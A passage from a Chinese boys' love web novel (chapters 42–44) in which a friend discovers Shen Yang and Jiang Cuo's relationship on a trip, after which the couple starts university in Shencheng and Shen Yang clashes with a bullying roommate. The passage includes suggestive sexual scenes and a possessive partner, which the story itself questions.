汽车站外墙的瓷砖斑驳,散发着油腻的光泽。 沈泱和江措在对面的街道上等到了穆宁然,江措带穆宁然在外面吃过晚饭后,送他们俩回了家,自己骑车去网吧打工。 “我真没想到,我竟然能考五百四!都过一本线了!”穆宁然坐在沈泱家的塑料凳上,咬了一口辣条,万分感慨。 “我一样,我五百二呢!”沈泱张着嘴巴,被辣条辣的唇瓣红肿,弯下腰,去拿茶几上的水杯。 他身上的长T领口大,弯下腰的时候,穆宁然瞥见沈泱的锁骨下方有明显的红痕,没等穆宁然看清楚,沈泱坐直了身体,柔软的布料贴回了细腻的皮肤。 “兄弟,你还是一点都没黑!”穆宁然吃完辣条,擦干嘴巴。 “因为出门我会戴帽子的,江措还给我买了防晒霜呢。” 两个人聊了一晚上,等穆宁然困了,沈泱找出一床薄被扔给他,“现在晚上不冷,你睡沙发。” 去年来的时候,久塘的晚上冷的冻死人,现在正好是八月盛夏,蓉城的晚上燥热,久塘的夜晚温度不冷不热,穆宁然爽快地接过了被子,“好勒。” 江措请了几天假,第二天中午,三个人坐上大巴,来到了一百多公里外的梅宁,这是他们州赫赫有名的景区,景区面积广阔,沈泱和穆宁然计划玩两天。 找了景区附近的一家酒店,三个人办理入住,“我们三个人,开一个三人间呗?”穆宁然提议。 沈泱觉得这个提议甚好。 江措对前台讲道:“一张大床房,一个单间。” 紧接着,江措拿出了钱夹,眼看他又要付钱,今天的三人的车票已经是他给的了,穆宁然赶紧拉开登山包,“我来给吧。” “收我的。” 江措把几张百元的钞票递给前台,前台下意识地接了过去,穆宁然看着这一幕,似曾相识,去年他来久塘的时候,江措也总是抢着先付钱。 开好房后,江措把单人间的房卡递给了穆宁然。 穆宁然接过江措递过来的卡,心里闪过一个念头,可能是江措和他不熟悉,不愿意和他一起住。 但…… 在久塘是因为只有一间房一张床,他和沈泱才一起睡的,出了门有条件睡两张床了,难不成两个人睡一起睡习惯了?分开反而不习惯?所以没要标间?要大床房? 第二天早上,江措先打电话把穆宁然叫起床后,然后才把沈泱叫了起来,吃过早餐,三个人去景区大门买了门票。 穆宁然和沈泱骑了马,江措没骑,他牵着沈泱的马缰,但骑马的路程只有三公里,还有七八公里步行的山路。 步行的时候,远处三座巍峨的雪山清晰坚定地矗立在了每一个到访者的视网膜里了。 沿途的景色也极为美丽,天空是能见度极高的青蓝色,身旁的草甸一望无际,格桑花茂盛地点缀其中,风一飘过,宛如海浪一般的摇摆晃动。 抵达山顶,沈泱看到了被雪山环绕的牛奶海,湖水轻盈碧蓝,还看到了大名鼎鼎的五色湖,清光泼洒湖面,雪山倒影斜面,湖水晕染出翡翠绿,天空蓝,湖泊黄,烟霞粉和牛乳白几种层次分明的颜色。 穆宁然离开蓉城时,刻意带上了相机,赶紧让沈泱和江措来拍照,又把相机拿给一个没有高反的年轻人,请他帮忙拍了好些三人合照。 “江措,我的水壶没水了。”下山的时候,沈泱拧开他的水壶,里面没能倒出水来。 江措把自己喝了一半的矿泉水瓶拧松,递给沈泱,“喝我的。” 沈泱接过来,唇角含着塑料瓶沿,仰起头,喝水。 男生之间没那么讲究,几个人嘴对嘴喝同一瓶饮料是常有的事,可穆宁然和沈泱十几年的交情了,了解这件不稀奇的事不包括沈泱。 沈泱是很嫌弃喝别人喝过的水的,不熟悉的人根本没办法接受,就算喝穆宁然的水,那也绝对是仰着头,不让被穆宁然含过的杯沿碰到嘴唇。 沈泱张开嘴含住瓶沿喝水的动作自然不嫌弃,穆宁然有一瞬间恍惚,这瓶水到底是属于谁的了? 后半截的山路沈泱不想走了,江措背着他抵达了乘车的地点。 穆宁然今天走了十几公里的山路,景色漂亮是真漂亮,累也是真累,吃了晚饭后回到房间就瘫下了,时间早,睡不着。 他躺在床上,拿出了今天的相机,欣赏今天拍的美景和照片。 这一张是三个人在珍珠海旁的合照,湖边是茂盛翠绿的冷杉,倒影在澄澈洁白的湖面上,旁边是峥嵘的雪山,他们三个人肩并肩,含笑望着镜头。 穆宁然忽然坐直了身体,放大了照片的右下角,沈泱和江措!他们俩是背着他偷偷地把手牵在一起了吗!沈泱为什么拍照的时候,只和江措牵手,不和他牵手!! 等等,这是牵手的问题吗? 穆宁然脑袋闪过昨天沈泱锁骨下方,一晃而过的痕迹,沈泱还那么不介意喝江措的水,那里可是有江措的口水啊!!出门在外,他们两个人住大床房,他孤孤单单地住单间!! 一个猜测难以置信地浮现在了穆宁然的脑海里,穆宁然早早地知道同性恋三个字,还是因为他姐有一箱子两个男人的漫画书。 喉结紧张地咽了咽,穆宁然忽然站了起来,过了片刻,他深吸了一口气,在床边坐了下来,给楼上的沈泱打了一个电话,“沈泱,你来我房间一下,我有点急事要给你讲。” 不等沈泱问是什么,穆宁然挂断了电话,他神色焦急地在房间里走来走去。 过了几分钟,沈泱从楼上下来了,他趿拉着一双棉拖鞋,“穆宁然,什么急事啊?” “你先进来。” 沈泱走了进来。 穆宁然关好了门之后,忽然往下拽了一把沈泱睡衣领口。 什么叫锁骨下面的一点红痕,锁骨下面分明是密密麻麻的痕迹!从胸膛延伸到小腹,窄嫩的腰侧,则似乎是几道用力的指痕。 穆宁然的眼睛都花了。 沈泱的大脑也是瞬间空白,他赶忙将穆宁然扯下去的衣服扯上去,又虚张声势地指责他,“你,你干什么忽然拽我衣服啊!”—— 作者有话说:沈泱:江措这个大坏蛋,说了不要留这么多痕迹了吧!!! 第43章 “是不是江措强迫你的?”穆宁然气的双眼通红, “难怪你们无亲无故,他却对你这么好,原来是别有居心!” 穆宁然眼神环绕一圈, 拿起房间里最重的椅子要往楼上冲, 沈泱连忙抓住他的胳膊,“你干什么?” “我去杀了江措顿珠。” “你又打不过他。”沈泱脱口而出。 穆宁然的双眼一红,扔下椅子盯着沈泱, “沈泱,我们现在就走, 你和我离开这里,我带你回蓉城, 你不用怕, 我这次考得不错, 我爸妈还有外公外婆都给我包了大红包, 你大学的生活费和学费我包了。” 穆宁然说完, 开始收拾自己乱扔在房间里的东西。 沈泱抓了抓脸颊, 见穆宁然连扔在地上的卫生纸都要捡起来, 赶紧拦住他,“行了啊, 我, 我又不是被强迫的。”他说的脸颊有点红。 穆宁然显然不信这话, “你以前还说要娶个比我老婆漂亮贤惠爱干净的老婆呢?你看看江措那人高马大的样子,他和漂亮沾一点边吗?还逼着你学习?和贤惠沾边吗?爱干净?他站在你身边, 就像是挖煤出来的, 他能爱干净吗?” 穆宁然一边说,沈泱一边轻声地反驳,“不漂亮但是帅啊, 怎么不贤惠了,家务都是他干的,那谁在我身边不像是挖煤出来的呀?” “沈泱!!”穆宁然陡然拔高了音量。 沈泱挠了挠下颌,也抬高了音量,“你够了啊,都说了我是自愿的。” 穆宁然还是不相信。 沈泱把他摔在地上的椅子扶正后,心烦意乱地坐了下来,他用手指扣了扣额角,对穆宁然说:“你觉得真的能有人强迫我和他谈恋爱吗?” 有,当然有,你这细胳膊细腿的,还不够江措塞牙缝呢,但有人可以强迫娇生惯养的沈泱,但没办法让娇生惯养的公主心甘情愿地待在的对方身边。 回忆起这两天相处的点点滴滴,实在是看不出沈泱有一丁点不乐意的地方,非常乐意被江措伺候照顾使唤江措,也非常习惯地依赖江措,昨天早上起床没看见江措,在房间里看见他的第一句话就是问江措呢?他看到江措了吗? 他告诉他江措下楼去买早餐了,门口传来钥匙插进锁孔里的动静,沈泱就迫不及待地去迎去了玄关。 穆宁然的心绪平静了一些,他在沈泱的对面坐下,语气复杂地道:“那,那你就变成同性恋了?” 沈泱又挠了挠下颌,“好像不是吧。” 穆宁然腾地一下站了起来,“果然他强迫你的。” 见穆宁然又要找江措算账,沈泱赶紧再一次拉住了他的胳膊,大声地说道:“是只想和他在一起。” 穆宁然浑身怒气顿时又散开了,他颓然地坐在床边,半晌后,心不甘情不愿地说道:“江措有什么好?话少无趣,什么事都憋在心里,跟个闷葫芦一样,你们能玩到一起吗?而且你不是还说他特别霸道强势吗?对你又凶,你到底看上他那一点了?” “你不要说的江措全都是缺点好不好?”沈泱不乐意了。 穆宁然翻了个白眼,他这些话可都是沈泱自己吐槽过的。 “那江措他很聪明啊,学什么都快,学什么都会,又很负责任,很有担当,而且他实在是太喜欢我了,离不开我啊。”沈泱说到最后,语气竟然还有一点骄傲。 穆宁然又想翻白眼了,但看到沈泱脸都有些泛红,意识到好兄弟是真的沦陷了。 沈泱太年轻,活得又太简单,不开心就发脾气,开心就笑,不喜欢掩饰自己,直白地叙说自己的要求,其实他只是朦朦胧胧地意识到了一点什么,但又没办法彻底讲清楚江措对他意味着什么。 江措出现在沈泱最无依无助的时候,或许沈泱都忘记了,当初向江措提出能不能住在他家里时,心情是充满忐忑的,所以才会慌乱地搬出舅舅这个借口。 沈泱从小家境优渥,长的又好看,身边的人都捧着他,也将沈泱养成了觉得自己什么都配得到的性格,纵然他其实并不十分地聪明,性格也不是十分地讨喜,可谁规定一定要善解人意聪明体贴才配得到人的喜欢呢。 没有人对他这么好过,他爸曾经给他锦衣玉食,可是那是他有十万,愿意付出十分之一的给沈泱。 江措是什么人呢?是如果拥有十万,愿意九万九都交给沈泱的人,剩下的那一千花在自己的身上,是为了保证他给沈泱更多个十万。 没有人不喜欢被爱,没有人不会沉浸在炙热的爱意里。 或许,会有人会不喜欢的,但不喜欢的人里不包括沈泱。 毕竟,沈泱得到的爱也并不是很多,他妈妈要和爸爸离婚时,也曾骂过他,抛弃他,父亲和继母是还不错,可和父亲继母妹妹生活在一起,很多个瞬间,沈泱也会一点他是外人的感觉,奶奶很爱他,可是奶奶同样地爱他的爸爸和妹妹。 当沈泱发现大伯想要将他卖给其他人换钱时,是他过去十七年人格差点被打碎的前兆,沈泱也没那么讨人喜欢,所以他爸不留下只言片语离开,继母带着妹妹离开,舅舅也不醒过来。 是江措,拢住了自己都还没意识到自己差点会变成另外一个人的沈泱,沈泱要的东西,江措会拼尽全力地捧到他的面前,沈泱还是可以做以前那个快乐简单,骄矜任性的沈泱。 “反正江措敢欺负你就告诉我,我打飞地也要去过去揍他!”穆宁然义愤填膺。 话音刚落下,门铃被人按响了。 沈泱距离门口更近,打开了门。 江措站在门口,“穆宁然有什么事,你这么久不回来。” “已经没事了,穆宁然,我先上楼了。”沈泱朝着穆宁然挥了挥手后,跟着江措上了楼。 两个人上了楼,沈泱走进房间后告诉江措,“穆宁然发现我和你的事了。” 江措关好门,神色平淡地说:“他早晚都会知道。” 也是,沈泱不再多想,脱了鞋和外套就爬上了床,一夜无梦,接下来的几天,几个人按照原来的旅游计划,把这边的几个知名景点都玩了一遍。 坐车回家是在一个霞光漫天的黄昏,高原上的夕阳格外的耀眼,穆宁然坐在过道的旁边,另外一边是沈泱和江措,沈泱太累了,趴在江措的膝盖上睡得天昏地暗。 大巴车经历过一个颠簸,全车人所有人都向前一抖,只有沈泱因为有一只悍然结实的手臂牢牢地挡在他的身前,只是轻微地蹙了下眉,依然还在沉睡中。 穆宁然想到这几天和沈泱和江措在一起的点点滴滴,很久不见,其实沈泱是有一点变化的,在蓉城的时候,沈泱是有一点尖锐的,脾气比现在高傲。 现在沈泱的脾气似乎好了一些,变得更加柔软了一点。 也不是很意外,虽然沈泱继母是一个厚道的女人,沈泱和父亲继母们生活在一起的时候,也不可能没有一丁点的不舒服吧。 而江措虽然太霸道了一点,占有欲太强烈了一点,但对沈泱的确当得起无微不至四个字,会在沈泱意识到自己渴了之前就把水递给他,每次出行,背好大一个书包,里面竟然一丁点江措的东西都没有。 沈泱的水杯,消毒纸,手帕纸,帽子,护手霜防晒霜,爱吃的零食和水果。 而且怎么说呢,沈泱以前虽然有一点娇气,但还是挺独立的,和江措在一起,真的是很依赖江措,什么事都习惯性地找江措。 穆宁然打开相机,翻今天上午拍的照片,看到一张三个人合照,沈泱和江措对视,他在旁好像一个小丑。 唉,算了,兄弟愿意搞同性恋,他能怎么办? 穆宁然回到久塘,又在沈泱家里耍了三天,然后准备回蓉城了。 他睡在客厅里的沙发上,提前定了一个六点的闹钟。 六点一到,闹钟响起,穆宁然强迫自己把眼睛睁开。 穆宁然坐了起来,果不其然,不远处的餐桌上,江措坐在椅子上,双目专注地盯着电脑,察觉到他的视线,江措忙里偷闲地朝他扫了一眼。 江措的精力到底有多么充沛!穆宁然佩服的五体投地。 从外面旅游回来后,当天晚上他和沈泱就瘫下了,睡得人事不知。 而江措送他俩回来后,竟然还能精神抖擞地去网吧打工,凌晨五点他起夜了,江措打工倒是回来了,但却没睡觉,笔记本电脑的淡蓝色幽光反射在江措冷硬的脸庞上,在餐桌前搞那什么电脑。 又从沈泱口里得知,江措的精力超乎常人旺盛,他一天睡四五个小时就够了,又讲他高三一整年,除了在网吧打工,在学校上课,还在自学编程,现在都可以在网上接一些小单子赚钱了。 这什么人啊?都不需要娱乐吗? 就是莫名其妙的,为什么提到娱乐这两个字沈泱耳朵红的和猴屁股一样。 穆宁然掀开被子,趿拉着拖鞋,在江措的对面坐下,脸色严肃。 江措停下敲打键盘的手指,看向他。 穆宁然说:“我等会儿就要回去了。” “我知道。” 草,沈泱到底是怎么和这人谈恋爱的?穆宁然看着没什么表情的江措,竟然有一种面对班主任才有的强烈惧怕感。 穆宁然挥了挥拳头,威胁道:“你要是敢欺负沈泱,我会带他走的,我告诉你,我都把沈泱大学的学费和生活费准备好了。” 沈泱有过很值钱的东西,但在他爹拿钱离开前,全都变卖了,穆宁然去年断断续续地出掉了沈泱送给他很值钱的一些东西,加上他今年挣得大红包,勉强可以覆盖沈泱四年的大学学费。 “我不会让沈泱离开我。”江措说。 穆宁然不太满意江措的回答,“你最好不要让他不开心。” 江措:“我希望他每天都开心。”开心真的是极其难得一件事,沈泱有这样的本能,江措也会尽可能让他开心,但开心的前提是不能离开江措。“ 吃过早饭,沈泱和江措送穆宁然去汽车站,“行了,等你大学开学了,我来找你玩,你有空也可以找我玩。”穆宁然的大学和沈泱不在一座城市里,可算不得远,几百公里的距离。 说完,穆宁然张开手臂,拥抱了一下在他过去十八年生命里,占据最重要位置的好兄弟,沈泱也下意识地和他抱了一下,之后他忽然松开了穆宁然,扭头朝旁边的男人看过去。 “沈泱!”穆宁然心头火起,又张开双臂,要拥抱沈泱。 在碰到沈泱之间,沈泱被人往后拉了一把,穆宁然扑了个空。 江措说:“你们已经抱过了。” 穆宁然双手抱胸,不知道为什么,得知江措是沈泱的对象后,穆宁然有了一种丈母娘看女婿,越看越不顺眼的那种,他哼了一声,吊儿郎当地说,“抱过了又怎么样?还可以再抱一下啊。” “来,沈泱。”穆宁然张开了自己火热的双臂。 沈泱下意识往前走了半步,然后没法往前动了,沈泱就瞪大眼睛,讲这样的话,“你的汽车开始检票了。” 穆宁然恨铁不成钢地摇了摇头。 他冲两人挥了挥手,转身离开了,走了几步穆宁然忽然觉得不太对劲儿,江措的占有欲是不是太强烈了点,他不就是和沈泱多抱一下吗? 脑袋里瞬间回忆起他姐和他前男友分手的原因,他姐好像就骂他前男友太霸道了,心理不太健康? 不过他姐和前男友谈了两个月就发现对方这个不正常的毛病,分了手,沈泱向他交代,他都和江措谈了大半年了。 “同学,同学,检票了。”走到闸机口,他魂不守舍,检票员叫了他一声。 穆宁然将身份证和车票递给对方,又扭过头,沈泱和江措还在他的视线里,见他回头,沈泱又冲他挥了挥手。 反正沈泱现在挺喜欢江措的,何况,要是江措真的让他不爽了,小公主那个脾气肯定不会忍气吞声,大不了就是分手呗。 一晃夏天要结束了,八月下旬,江措辞掉了网吧的工作,整理和收拾了两天出租屋的东西,他收拾出来了八九个行李袋。 有一些江措打算麻烦桑杰,等他和沈泱在申城租好了房子,帮他寄过去,另外一些不太会用到的东西,江措决定放回宁村的老房子。 不会用到的就是江措去年从村子里带来的破被子和破毯子,还有一些锅碗瓢盆,千里迢迢,太难寄走了,还有江措和沈泱高中三年的书本。 沈泱也和江措回了一趟回宁村。 这是一个晴光满照的午后,一年多没回来过了,江措破败的小院变得更加破败了,院子里长满了茂盛的杂草。 江措换了一件换小了很多的T恤,深麦色的大手握着镰刀,弓着窄劲的腰,快速地割掉院子里的杂草,随着他每一次的手起刀落,凸起的青筋会顺着小臂蜿蜒到腕骨,而在下一次发力时,重新变得贲张悍实。 沈泱戴着一顶在县城买的漂漂亮亮的遮阳帽,坐在擦拭得干干净净的木凳子上,双手捧着脸,盯着江措看了一会儿,忽然摸出手机,对着江措咔咔咔拍了好几张照片。 卧室在黄昏时也被收拾了出来,小小的土坯房里原来有两张单人床,两张床都被擦拭的纤尘不染,但只有一张床铺了床单被套,另外一张床什么也没铺。 到了晚上,沈泱躺在这张江措睡了很多年的单人床上,历尽沧桑的木床被晃的咯吱咯吱地响,房间里灯泡的瓦数着实太明亮,比县城卧室的灯光还要亮太多,沈泱总是想要手背挡住眼睛,又被江措不容拒绝地拿开手。 滚烫的汗珠滴落在沈泱的胸膛,沈泱浑身都为这颗汗发颤。 纤细的身影和高大的身影一起投射在泥土夯实的墙面上,沈泱抖着睫毛,浑身颤抖地骂他,“江措,你别用你刚刚舔过我脚的嘴来亲我!”—— 作者有话说:明天宝宝们就开始新的大学生活啦 明天作者会争取双更的!!(不一定能[爆哭][爆哭]) 第44章 黄狗的犬吠和高原的风声交织在一起, 沈泱什么都听不见,只能听见男人粗重的喘息声。 翌日,江措带沈泱进山摘了松茸, 他背着一个江措擦拭的干干净净的小背篓, 走一会儿就要停下来,在看到枯枝落叶下掩藏的一个松茸头时,神色就会变得极为惊喜, “江措,你看, 我找到松茸了。” 下山是江措背下来,晚上两个人吃了新鲜的烤松茸和土豆, 月色彻底漫下来的时候, 江措带着沈泱去了村东地势最高的地方。 散养的牦牛趴在不远处的草地上休息, 沈泱望着高原上辽阔的星空, 风声呼啸, 他靠在江措的怀里, 看见了漫天旋转的星光。 第三日, 江措锁好了斑驳的院门,带着沈泱下山, 和胡大江吃过一顿午饭后, 坐上了回久塘的车, 行李早就收拾好了,和房东交接后, 第二天, 两人坐车来到了蓉城。 沈泱带着江措去见了自己的奶奶和妈妈,喋喋不休了好一会儿后,离开了墓园, 在黄昏时分,两人坐上了开往申城的动车。 从蓉城到申城的动车开了二十多个小时,落地后,江措打车找了一家学校附近的酒店,第二天,沈泱在酒店里休息,他在学校附近租好了房子。 还是没有电梯的小区,在四楼,两室一厅一厨一卫,客厅和卧室都有整面的大窗户,正对着小区茂盛葳蕤的梧桐树和柏树,风吹过来,树浪翻涌,比电影里的风景还要漂亮。 江措拿着抹布打扫卫生,沈泱也拿着抹布,勤快地擦拭栏杆,又忍不住扭过头问江措,“这个房子多少钱一个月啊?” “没电梯,不是特别贵。” 沈泱才不相信这句话,虽然的确是没有电梯,是上个世纪的老房子,但房子保养的很好,环境干净又漂亮,像森林里的城堡一样,能便宜吗? “江措,我们现在有多少钱啊?申城的物价比我们久塘贵多了。”他们久塘一两面才三块钱,这里都要五块了。 “你问这个干什么?”江措擦完了电视柜开始擦茶几,“不干活就玩手机。” “我们不用着急租房子吧,我看贴吧,我们学校大一都不允许住校,你们学校的贴吧我也帮你逛了呢,也不允许呢。” “沈泱!” 沈泱盯着江措看了几秒,忽然踮起脚亲了一下他的唇角,眼睛里带着笑意,“好了,和你开玩笑呢。” 洗漱完,沈泱穿着睡衣回到了卧室,久塘的夏日虽然白天在太阳下气温高,晚上不冷不热,申城的温度不一样,八月下旬的晚上,空气里充满了燥热的气息。 幸好这套房子的两间卧室都有空调。 沈泱回到开了空调的主卧,刚掀开被子,发现自己放在床头柜上的合照少了一张。 他今天在床头柜上放了三张照片,有他和江措在久塘县人民广场的合照,还有一张他和江措在五色湖前的合照,还有一张是他和穆宁然的合照。 穆宁然和他的合照从床头柜前消失了。 “江措,你把我的照片呢?”江措赤裸着上半身从洗漱间里回来,沈泱盘腿坐在床上,露出的一截脚踝白的晃人,他语气不快地质问道。 江措掀开沈泱旁边的被子,躺下,闭上眼睛,“睡觉。” 沈泱:“……” 沈泱学校报道的日子和江措相同,他们俩在报道的第一天就去了学校报道,逛完了学校,然后又回到出租屋里。 星期日的下午,沈泱和江措都必须回各自的学校了。 江措先送沈泱去他的学校。 猪肝红的宿舍大门打开,两张椅子拉在一起嗑瓜子聊天的两个男生齐刷刷地朝门口看了过来,两个人的表情都有一瞬间的惊艳。 活了十八九年,上了十几年学,每个学校总有几个长得非常帅的男生,但仍然比不了出现在门口的那个男孩。 冷白皮,大眼睛,睫毛又深又密,颌面平整不见一点瑕疵,简直是漫画里走出来的美少年一般。 站在他身边的那个男生也很帅,截然不同的一种帅,黑衣黑裤,长手长脚,五官硬朗,眉目深邃,带着一股很强的压迫感。 “好热啊,你们俩怎么不开空调?”挂在墙顶的一扇风扇支吾吾的转动扇翼,宿舍里的空调没有任何工作的动静。 王恒说,“空调下午坏了,我们向宿管报修了,她说今晚应该会有人来修。” 沈泱扁了扁嘴,王恒递给他一把蒲扇,“很热?用这个。” 沈泱还没用过老式的蒲扇扇风,来了点兴趣,他接过蒲扇说了句谢谢,给自己扇了两下风,风还挺大,吹散了他一路走过来的热意。 “我叫沈泱,你们叫什么?”扇了两下,沈泱不乐意自己扇了,娴熟地把扇子递给一旁的江措,拿起江措放在书桌上的水壶喝了一口水。 江措则站在一旁,给沈泱扇起风来。 “王恒。” “顾宝安。” 三人互通了姓名,也算是认识了对方,顾宝安扫了眼神色平静地给沈泱扇风的江措说:“他是你的家长吗?陪你来学校报道吗?” “他是隔壁申大的,我们一个高中的。”沈泱这样描述他和江措的关系。 顾宝安会意:“原来是好朋友。” 江措给沈泱扇了一会儿风,见他不热后,离开了沈泱的宿舍,沈泱站在房门口外,目送着江措离开的背影,刚刚还带点笑的唇角瞬间垮了下来。 江措离开后没多久,沈泱见到了最后一个室友,他穿着一身名牌衣服,进门以后就把宿舍的环境批评的一无是处,有种趾高气扬的傲慢。 沈泱大学生活开始的第一天,失眠了,半夜他下意识朝旁边咕蛹,咕蛹了小半天,没摸到熟悉的坚实胸膛,摸到一片冷冰冰的床檐。 沈泱骤然睁开了眼。 陌生的环境,陌生的人,陌生的味道,沈泱翻了个身,攥紧了薄被,心想江措果然是世界上最大的讨厌鬼。 沈泱思念江措的时间并不多,因为第二天,为期半个月的新生军训正式拉开了序幕。 一整天下来,沈泱精疲力竭,回到宿舍,恢复了点力气,他拿着手机去天台给江措打了一个时间简短的电话后,回到了宿舍。 “周一岩!你怎么能把果壳扔在地板上呢!”周一岩是沈泱浑身名牌的室友,他坐在学校统一提供的椅子上,换了件带着logo名字的名牌睡衣,一边盯着电视,一边把坚果的果壳随手扔在地上。 周一岩转过头,神色不善道,“我又没扔在你的位置上,你管的那么宽干什么?” “沈泱,快停热水了,你先去洗澡吧。”顾宝安在阳台上叫了他一声。 沈泱先去洗漱了。 洗漱完回到宿舍里,周一岩关了最新款的笔记本电脑,脚踩在扶杆上,似乎正准备上床了,可是地板上的垃圾并没有收拾。 沈泱不虞:“周一岩,这么脏,你不把地板收拾了吗?” 周一岩低头扫了一眼,似乎也觉得挺碍眼的,“顾,顾宝安是吧,来把这里给我扫干净了。” 沈泱眼睛都瞪大了,“周一岩,这是你弄的垃圾,你凭什么让顾宝安收拾。” 周一岩扫了眼拿着扫把从阳台上走进来的要顾宝安,嗤笑了一声,“人家自己都没说什么呢,你有什么不乐意的,行了,别叽叽歪歪的,像个女人一样。” 沈泱又看向顾宝安。 顾宝安和他对视了一下,低着头,顺从地把地板打扫干净了。 沈泱抿着嘴上了床,不久后,他拿起手机,□□显示顾宝安想把他拉入一个群聊。 沈泱黑着脸盯着邀请看了半天,用力地点下了同意。 顾宝安:【@沈泱@王恒,你们俩是不是都觉得我刚刚太懦弱了?】 王恒比沈泱心细,几天的相处下来他发现了一件事,【顾宝安,你怕周一岩?】 沈泱赶紧打字,【你怕他干什么呢?我们三个人呢!!!】 顾宝安叹了口气,手指在键盘在敲打,【我和他高中是一个学校的,你们知道他爸爸是谁吗?】 王恒:【?】 顾宝安说了一个名字,又说,【今年寒假的时候,他开车撞死了两个人,竟然只是拘留了几天,就毫发无伤地从派出所里出来了】 【而且他原来是六中的,高二下学期才转到我那个学校,原因据说是他□□了一个女同学】 顾宝安,【他是本地人,又这么看不起咱们宿舍的环境,家里有钱有权,估计过了军训这段时间,就不会在宿舍里住了,我们就忍一忍吧】 王恒:【你说的真的?】 顾宝安:【他撞死的那两个人还是我朋友的同学呢,你说我能说的是假的吗?他那时候可成年了,无证驾驶,竟然就只关了几天就出来了,你们说他家的能耐大不大?】 顾宝安:【听说有一个女生的家里不愿意出谅解书的,一定要把他送进去,但最后还不是无疾而终了】 沈泱看完这些消息,眉头紧紧地拧了起来,他烦躁地叹了口子,把手机搁在了枕头下。 沈泱不是个能受气的人,和周一岩在接下来的十几天,两个人经常发生一些小摩擦。 然而军训太辛苦了,每天都有三十六七度的高温,晚上洗漱一结束,和江措的的电话一打,躺在床上,立刻陷入沉睡里。 周一岩也不遑多让,还有一次,周一岩装病想逃避军训,被教官发现了,晚上结束后留在操场加练。 沈泱躲在天台和江措打完了电话,回到了宿舍洗完了澡,周一岩才精疲力竭地回到了宿舍。 沈泱站在书桌前喝水,宿舍房门被人粗暴地推开,周一岩怒气冲冲地走了进来,“沈泱,今天在队伍里的嘲笑声是不是你发出来的?” 沈泱眼睛瞪大了,真诚地问:“什么时候的嘲笑声啊?你说的是你假装晕倒被教官拆穿,所有同学都盯着你的时候的那一道笑声吗?” 周一岩双目通红,“果然是你。” 他撂下这句话,猛地拽住了沈泱的睡衣衣领,周一岩身高一米八,比沈岩高两三厘米,体重有一个半的沈泱。 眼看他拳头要冲着他的脸挥下来,沈泱膝盖往上,朝他的小腹用力一顶,周一岩吃疼地松开了他,与此同时,大力地将他往后一推。 沈泱的后腰撞上了尖锐的椅角,脸色白了一瞬。 眼看周一岩又怒气冲冲地朝着沈泱冲过去,和沈泱两个人扭打在一起,在床上的王恒和顾宝安连忙窜下床,劝架。 两个人不约而同都抱住了周一岩,顾宝安说:“今天根本就不是沈泱在笑,是我后面的一个男生。” 王恒趁着这个机会狠狠地踩了一脚周一岩,听到周一岩吃疼的惨叫,又故作不知地问,“周一岩,周一岩你怎么了,你怎么了?” “脚,我的脚!” “什么啊?”问了好几句,王恒似乎才意识过来他做了什么,连忙松开脚,真心实意地道歉,“对不起,对不起,周一岩,我不是故意的。” 周一岩推开王恒和顾宝安,眼神凶狠地瞪视过宿舍里的三个人,撂下一句你们给我等着,一瘸一拐地去了洗手间。 “沈泱,你没事吧?”顾宝安察觉到沈泱拧着眉,手按在后腰上。 “没事,就是腰好像扭了一下,睡一觉应该就没事了吧。” 第二天醒过来,沈泱腰有轻微的疼痛,他掀起衣服扫了眼后腰的位置,发现青了一片,顾宝安和王恒陪他去校医室弄了点红花油抹上了,休息了一上午,也就不也怎么疼了。 两天后,为期半个月的新生军训正式结束了。 沈泱穿着军训服,和王恒顾宝安一起朝着宿舍楼大步走过去,刚走到宿舍楼下,沈泱就看到了一个无比熟悉的人,他差一点就扑到了江措的身上,周围全是朝宿舍楼涌进去的校友们,沈泱只好忍耐住了那股冲动,在距离江措还有拳头大小的距离时止住了脚步。 “江措,你回来了!”申大也有半个月的军训,和他们在校内军训不同,江措被他们被拉到了一个荒无人烟的山沟里。 晚上信号也不太好,说不了几句话,就要挂断。 沈泱一直以为他不太想江措的,训练太辛苦,身体太疲惫,直到江措出现在了他的面前,那股思念才汹涌地漫出来。 不过沈泱有属于自己的优点,他是一个不太能沉浸在负面情绪里的人,他盯着江措的脸看看,又扫了扫旁边其他同学的脸,惊讶于一个事实,“江措,你好像变白了。” 江措目光落在身上,似乎没有汹涌压抑的情绪在流淌:“是他们变黑了。” 半个月的军训,沈泱也有了一点变化,下颌上的肉少了一点,脸蛋尖了一些,不过皮肤一点没变黑,还是和剥了壳的滑腻荔枝一般。 沈泱带着江措上了宿舍,迅速地在卫生间洗了个澡和头发后,沈泱把军训服扔进了垃圾桶里,和王恒还有顾宝安打完了招呼,离开了宿舍。 两人回到半个月没回来过的小家,江措兢兢业业地收拾卫生,沈泱躺在床上,睡了一个香沉的午觉。 夕阳沉睡地平线不久,皎洁的月光被城市的霓虹灯光遮挡,树影在暗夜里婆娑。 湿漉漉的吻沿着唇舌往下,体内的温度不自控地飙升,脑袋里的理智渐渐地被另外一种熟悉的欲望取代,江措粗大的手掌顺着单薄的衣摆探进去,一寸一寸摩挲过对方的每一寸皮肤。 当摸到后腰的位置时,江措的眉猝不及防地拧了下,把双颊驼红的沈泱翻了个身。 江措偏好明亮的灯光,卧室的顶灯住进来不久后被江措调换过,橘黄色的亮光洒在沈泱白如霜雪的皮肤上,江措的眼眸一沉。 白韧的皮肤上,竟然有半掌大散开的淤青。 “沈泱,你的后腰是怎么回事?” 提到这个沈泱就有点生气了,“还不是那个周一岩,他把我推到椅子上弄的。” 沈泱伸长脖子,想要瞥一瞥自己后腰上的伤,“淤青还很严重吗?我都没觉得疼了。” “周一岩?” “你今天看到过的,就是住在我对铺那个男生,他可讨厌了。”沈泱细数了一下对方的嚣张跋扈和不讲卫生,又把顾宝安给沈泱讲过的种种劣迹告诉了江措,怀疑道:“你说顾宝安说的是真的吗?我感觉他做的出来这些事。” 江措回忆了一下沈泱说的那个男生,有些胖,单眼皮,眼皮向下耷拉着,拿着市面上最新款的手机,颐指气使地不知道和谁打电话。 江措眼皮微微折起,思索后说:“你离他远点,尽量不要和他起冲突。” “你以为我想离他近一点啊?你知道吗?我们在大太阳下面站一整天,一身臭汗,他晚上竟然不洗澡就上床,太恶心了,太不讲究了!!!”沈泱的嫌弃溢于言表。 江措又把沈泱翻过来,掀开他的衣摆看了看他的后腰,“真的不疼?” “刚开始有点疼,昨天就不疼了,过几天淤青散去了,应该就没事了吧。” 江措手指戳了戳沈泱的淤青,沈泱只是觉得痒,没觉得疼,江措把衣服给他拉下来,拉过一旁的凉被,给沈泱盖好,随后拿起了床头柜上的书。 